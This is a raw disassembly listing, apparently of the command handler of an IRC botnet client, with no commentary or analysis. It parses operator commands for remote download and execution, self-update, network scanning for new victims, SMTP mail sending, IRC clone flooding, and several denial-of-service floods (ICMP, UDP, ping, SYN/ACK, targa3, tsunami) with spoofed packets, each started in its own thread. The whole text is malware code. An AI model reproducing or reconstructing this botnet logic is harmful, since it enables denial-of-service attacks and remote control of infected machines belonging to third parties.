loc_405BF3:				; CODE XREF: sub_401CC1+3EC1j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_417200
		add	esp, 10h
		test	eax, eax
		jz	short loc_405C16
		push	offset unk_4436E0
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405C16:				; CODE XREF: sub_401CC1+3F49j
		push	offset unk_443700
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405C20:				; CODE XREF: sub_401CC1+3EB6j
		push	edi
		push	offset aSend	; "send"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405C6E
		cmp	[ebp+arg_18], ebx
		jz	short loc_405C64
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4174B4
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_11	; "%s"
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		jmp	loc_406693
; ---------------------------------------------------------------------------


loc_405C64:				; CODE XREF: sub_401CC1+3F73j
		push	offset unk_44372C
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405C6E:				; CODE XREF: sub_401CC1+3F6Ej
		push	offset unk_443750
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_405C78:				; CODE XREF: sub_401CC1+3CDCj
		push	[ebp+arg_10]
		push	offset aGethost	; "gethost"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408574
		push	[ebp+arg_10]
		push	offset aGh	; "gh"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408574


loc_405CA6:				; CODE XREF: sub_401CC1+3714j
					; sub_401CC1+374Aj ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40207C
		push	[ebp+arg_10]
		push	offset aKilllog	; "killlog"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40855A
		push	[ebp+arg_10]
		push	offset aKl	; "kl"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40855A
		push	[ebp+arg_10]
		push	offset aAddalias ; "addalias"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851B
		push	[ebp+arg_10]
		push	offset aAa	; "aa"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851B
		push	[ebp+arg_10]
		push	offset aPrivmsg_1 ; "privmsg"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084C5
		push	[ebp+arg_10]
		push	offset aPm	; "pm"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084C5
		push	[ebp+arg_10]
		push	offset aAction	; "action"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_10]
		push	offset aA	; "a"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_10]
		push	offset aCycle	; "cycle"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083F1
		push	[ebp+arg_10]
		push	offset aCy	; "cy"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083F1
		push	[ebp+arg_10]
		push	offset aMode_0	; "mode"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083B5
		push	[ebp+arg_10]
		push	offset aM	; "m"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083B5
		push	[ebp+arg_10]
		push	offset aC_raw	; "c_raw"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40834A
		push	[ebp+arg_10]
		push	offset aC_r	; "c_r"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40834A
		push	[ebp+arg_10]
		push	offset aC_mode	; "c_mode"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082C8
		push	[ebp+arg_10]
		push	offset aC_m	; "c_m"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082C8
		push	[ebp+arg_10]
		push	offset aC_nick	; "c_nick"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40825A
		push	[ebp+arg_10]
		push	offset aC_n	; "c_n"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40825A
		push	[ebp+arg_10]
		push	offset aC_join	; "c_join"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40820E
		push	[ebp+arg_10]
		push	offset aC_j	; "c_j"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40820E
		push	[ebp+arg_10]
		push	offset aC_part	; "c_part"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081AE
		push	[ebp+arg_10]
		push	offset aC_p	; "c_p"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081AE
		push	[ebp+arg_10]
		push	offset aTarga3	; "targa3"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DC
		push	[ebp+arg_10]
		push	offset aT3	; "t3"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DC
		push	[ebp+arg_10]
		push	offset aTsunami	; "tsunami"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FE4
		push	[ebp+arg_10]
		push	offset aTsn	; "tsn"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FE4
		push	[ebp+arg_10]
		push	offset aRepeat	; "repeat"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F0F
		push	[ebp+arg_10]
		push	offset aRp	; "rp"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F0F
		push	[ebp+arg_10]
		push	offset aDelay	; "delay"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E74
		push	[ebp+arg_10]
		push	offset aDe	; "de"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E74
		push	[ebp+arg_10]
		push	offset aUpdate	; "update"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CEB
		push	[ebp+arg_10]
		push	offset aU11p	; "u11p"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CEB
		push	[ebp+arg_10]
		push	offset aExecute	; "execute"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C58
		push	[ebp+arg_10]
		push	offset aE	; "e"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C58
		push	[ebp+arg_10]
		push	offset aRename	; "rename"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BE3
		push	[ebp+arg_10]
		push	offset aMv	; "mv"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BE3
		push	[ebp+arg_10]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AEC
		push	[ebp+arg_10]
		push	offset aIcmp	; "icmp"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AEC
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40207C
		push	[ebp+arg_10]
		push	offset aClone_0	; "clone"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A04
		push	[ebp+arg_10]
		push	offset aC	; "c"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A04
		push	[ebp+arg_10]
		push	offset aUsa_syn	; "usa.syn"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40790B
		push	[ebp+arg_10]
		push	offset aUsa_ack	; "usa.ack"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40790B
		push	[ebp+arg_10]
		push	offset aUsa_rm	; "usa.rm"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40790B
		push	[ebp+arg_10]
		push	offset aWis_u	; "wis.u"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40618B
		push	7Fh
		lea	eax, [ebp+var_2978]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_28F8]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_27F8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2770],	eax
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	13h
		push	eax
		mov	[ebp+var_2774],	edi
		mov	[ebp+var_297C],	esi
		call	sub_40A7FD
		add	esp, 3Ch
		mov	[ebp+var_2778],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_297C]
		push	ebx
		push	eax
		push	offset sub_413A92
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_2778]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40617A


loc_406164:				; CODE XREF: sub_401CC1+44B7j
		cmp	[ebp+var_276C],	ebx
		jnz	loc_403ACC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_406164
; ---------------------------------------------------------------------------


loc_40617A:				; CODE XREF: sub_401CC1+44A1j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443EBC
		jmp	loc_403ABD
; ---------------------------------------------------------------------------


loc_40618B:				; CODE XREF: sub_401CC1+43F7j
		push	[ebp+arg_10]
		push	offset aSfnfff	; "sfnfff"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407823
		push	[ebp+arg_10]
		push	offset aSy1	; "sy1"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407823
		push	[ebp+arg_10]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062B8
		push	7Fh
		lea	eax, [ebp+var_2764]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_26E4]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2664]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_25E4]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2560],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_255C],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset dword_443F78
		push	eax
		mov	[ebp+var_2768],	esi
		call	sub_41B740
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	10h
		push	eax
		call	sub_40A7FD
		add	esp, 0Ch
		mov	[ebp+var_2564],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2768]
		push	ebx
		push	eax
		push	offset sub_4129F7
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_2564]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4062A7


loc_406291:				; CODE XREF: sub_401CC1+45E4j
		cmp	[ebp+var_2558],	ebx
		jnz	loc_406C2E
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_406291
; ---------------------------------------------------------------------------


loc_4062A7:				; CODE XREF: sub_401CC1+45CEj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443FA8
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4062B8:				; CODE XREF: sub_401CC1+4509j
		push	[ebp+arg_10]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40773B
		push	[ebp+arg_10]
		push	offset aWonk	; "wonk"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40773B
		push	[ebp+arg_10]
		push	offset aDownload1 ; "download1"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407600
		push	[ebp+arg_10]
		push	offset aD1	; "d1"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407600
		push	[ebp+arg_10]
		push	offset aRedirect ; "redirect"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407506
		push	[ebp+arg_10]
		push	offset aRd	; "rd"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407506
		push	[ebp+arg_10]
		push	offset aScan	; "scan"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407413
		push	[ebp+arg_10]
		push	offset aSc	; "sc"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407413
		push	[ebp+arg_10]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40733E
		push	[ebp+arg_10]
		push	offset aC_pm	; "c_pm"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40733E
		push	[ebp+arg_10]
		push	offset aC_action ; "c_action"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40722C
		push	[ebp+arg_10]
		push	offset aC_a	; "c_a"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40722C
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	loc_40207C
		push	[ebp+arg_10]
		push	offset aPortscan ; "portscan"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407126
		push	[ebp+arg_10]
		push	offset aPsc	; "psc"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407126
		push	[ebp+arg_10]
		push	offset aAdvscan	; "advscan"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C4E
		push	[ebp+arg_10]
		push	offset aVvv	; "vvv"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C4E
		push	[ebp+arg_10]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B08
		push	[ebp+arg_10]
		push	offset aPu1	; "pu1"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B08
		push	[ebp+arg_10]
		push	offset aU	; "u"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B08
		push	[ebp+arg_10]
		push	offset aNetsend	; "netsend"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069FA
		push	[ebp+arg_10]
		push	offset aNs	; "ns"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069FA
		push	[ebp+arg_10]
		push	offset aPingflood ; "pingflood"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068D3
		push	[ebp+arg_10]
		push	offset aPing_0	; "ping"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068D3
		push	[ebp+arg_10]
		push	offset aP	; "p"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068D3
		push	[ebp+arg_10]
		push	offset aTfpff	; "tfpff"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406723
		push	[ebp+arg_10]
		push	offset aUsa	; "usa"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406723
		push	[ebp+arg_10]
		push	offset aEmail	; "email"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066CB
		lea	eax, [ebp+var_4150]
		push	edi
		push	eax
		call	sub_41C300
		push	[ebp+arg_18]
		call	sub_41B3F0
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_36E8]
		push	eax
		call	sub_41C300
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_35E8]
		push	eax
		call	sub_41C300
		push	offset asc_44477C ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_7C]
		call	sub_415C6E
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		call	sub_41C300
		add	esp, 30h
		lea	eax, [ebp+var_46E8]
		push	eax
		push	101h
		call	dword_4E081C
		lea	eax, [ebp+var_4150]
		push	eax
		call	dword_4E0920
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4E091C
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4E08A0
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_34E8]
		push	eax
		lea	eax, [ebp+var_35E8]
		push	eax
		lea	eax, [ebp+var_36E8]
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4E084C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4E08B8
		lea	eax, [ebp+var_37E8]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_4AE8]
		push	eax
		push	esi
		call	dword_4E08EC
		push	ebx
		lea	eax, [ebp+var_37E8]
		push	edi
		push	eax
		push	esi
		call	dword_4E08B8
		push	esi
		call	dword_4E0934
		call	dword_4E0804
		lea	eax, [ebp+var_35E8]
		push	eax
		push	offset unk_4447D0


loc_406684:				; CODE XREF: sub_401CC1+5E26j
					; sub_401CC1+6025j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740


loc_406690:				; CODE XREF: sub_401CC1+1FD7j
		add	esp, 0Ch


loc_406693:				; CODE XREF: sub_401CC1+3CFFj
					; sub_401CC1+3D59j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4066B4
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_4066B4:				; CODE XREF: sub_401CC1+24ECj
					; sub_401CC1+2517j ...
		mov	esi, [ebp+arg_24]


loc_4066B7:				; CODE XREF: sub_401CC1+5F92j
					; sub_401CC1+6B67j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		pop	ecx
		mov	eax, esi
		jmp	loc_40207F
; ---------------------------------------------------------------------------


loc_4066CB:				; CODE XREF: sub_401CC1+486Dj
		push	[ebp+arg_10]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4066F5
		push	[ebp+arg_10]
		push	offset aHcon	; "hcon"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406CA0


loc_4066F5:				; CODE XREF: sub_401CC1+4A1Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_1C]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41B3F0
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40FBF0
		jmp	loc_408C9E
; ---------------------------------------------------------------------------


loc_406723:				; CODE XREF: sub_401CC1+483Fj
					; sub_401CC1+4856j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_41B910
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C4C0
		add	esp, 14h
		test	eax, eax
		jz	short loc_406786
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406786
		lea	eax, [ebp+var_1100]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406786
		push	offset unk_444748
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_406786:				; CODE XREF: sub_401CC1+4A8Bj
					; sub_401CC1+4AA2j ...
		push	[ebp+arg_1C]
		call	sub_41B3F0
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_FF8], eax
		jle	loc_4068BB
		push	edi
		lea	eax, [ebp+var_1100]
		push	esi
		push	eax
		call	sub_41B910
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1180]
		push	esi
		push	eax
		call	sub_41B910
		push	[ebp+arg_0]
		call	sub_41B3F0
		mov	[ebp+var_FFC], eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1184],	eax
		lea	eax, [ebp+var_1080]
		push	esi
		push	eax
		call	sub_41B910
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_FF4], ebx
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_FEC], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40681D
		mov	eax, offset aNormal ; "Normal"


loc_40681D:				; CODE XREF: sub_401CC1+4B55j
		push	[ebp+arg_1C]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_4446A4
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41B910
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	14h
		push	eax
		call	sub_40A7FD
		add	esp, 2Ch
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1184]
		push	ebx
		push	eax
		push	offset sub_4131FE
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40689B


loc_406885:				; CODE XREF: sub_401CC1+4BD8j
		cmp	[ebp+var_FE8], ebx
		jnz	loc_407C2F
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_406885
; ---------------------------------------------------------------------------


loc_40689B:				; CODE XREF: sub_401CC1+4BC2j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4446D8


loc_4068A7:				; CODE XREF: sub_401CC1+1C8Aj
					; sub_401CC1+2925j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740


loc_4068B3:				; CODE XREF: sub_401CC1+4D34j
		add	esp, 0Ch
		jmp	loc_407C2F
; ---------------------------------------------------------------------------


loc_4068BB:				; CODE XREF: sub_401CC1+4AD6j
		push	offset unk_444710


loc_4068C0:				; CODE XREF: sub_401CC1+1B53j
					; sub_401CC1+1B69j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	loc_407C2F
; ---------------------------------------------------------------------------


loc_4068D3:				; CODE XREF: sub_401CC1+47FAj
					; sub_401CC1+4811j ...
		cmp	dword_4E098C, ebx
		jnz	loc_4069DF
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_DA0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_DA4], eax
		lea	eax, [ebp+var_E38]
		push	edi
		push	eax
		call	sub_41B1F0
		push	[ebp+arg_18]
		call	sub_41B3F0
		push	[ebp+arg_0]
		mov	[ebp+var_DB8], eax
		call	sub_41B3F0
		push	[ebp+arg_1C]
		mov	[ebp+var_DB4], eax
		call	sub_41B3F0
		push	7Fh
		mov	[ebp+var_DB0], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_EB8]
		push	eax
		call	sub_41B1F0
		push	[ebp+var_DB0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_EBC], eax
		lea	eax, [ebp+var_E38]
		push	[ebp+var_DB4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_DB8]
		push	offset unk_4445E0
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	16h
		push	eax
		call	sub_40A7FD
		add	esp, 48h
		mov	[ebp+var_DA8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EBC]
		push	ebx
		push	eax
		push	offset sub_412655
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_DA8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4069CE


loc_4069B8:				; CODE XREF: sub_401CC1+4D0Bj
		cmp	[ebp+var_D9C], ebx
		jnz	loc_407C2F
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4069B8
; ---------------------------------------------------------------------------


loc_4069CE:				; CODE XREF: sub_401CC1+4CF5j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_444628
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_4069DF:				; CODE XREF: sub_401CC1+4C18j
		push	1FFh
		lea	eax, [ebp+var_2C0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B1F0
		jmp	loc_4068B3
; ---------------------------------------------------------------------------


loc_4069FA:				; CODE XREF: sub_401CC1+47CCj
					; sub_401CC1+47E3j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_4444EC
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		push	[ebp+arg_0]
		call	sub_418D00
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_418D00
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_418D00
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_418D00
		add	eax, [ebp+var_C]
		push	[ebp+arg_1C]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B890
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B3F0
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_8], ebx
		jle	short loc_406AF4


loc_406A7D:				; CODE XREF: sub_401CC1+4DE0j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_4164D5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_406AA5
		cmp	eax, ebx
		jnz	short loc_406AC4
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406A7D
		jmp	short loc_406AFD
; ---------------------------------------------------------------------------


loc_406AA5:				; CODE XREF: sub_401CC1+4DD1j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_444528


loc_406AAE:				; CODE XREF: sub_401CC1+4E45j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h
		jmp	loc_406CA0
; ---------------------------------------------------------------------------


loc_406AC4:				; CODE XREF: sub_401CC1+4DD5j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C0]
		push	offset unk_444560
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 20h


loc_406AF4:				; CODE XREF: sub_401CC1+4DBAj
		cmp	[ebp+arg_20], ebx
		jnz	loc_406CA0


loc_406AFD:				; CODE XREF: sub_401CC1+4DE2j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_444594
		jmp	short loc_406AAE
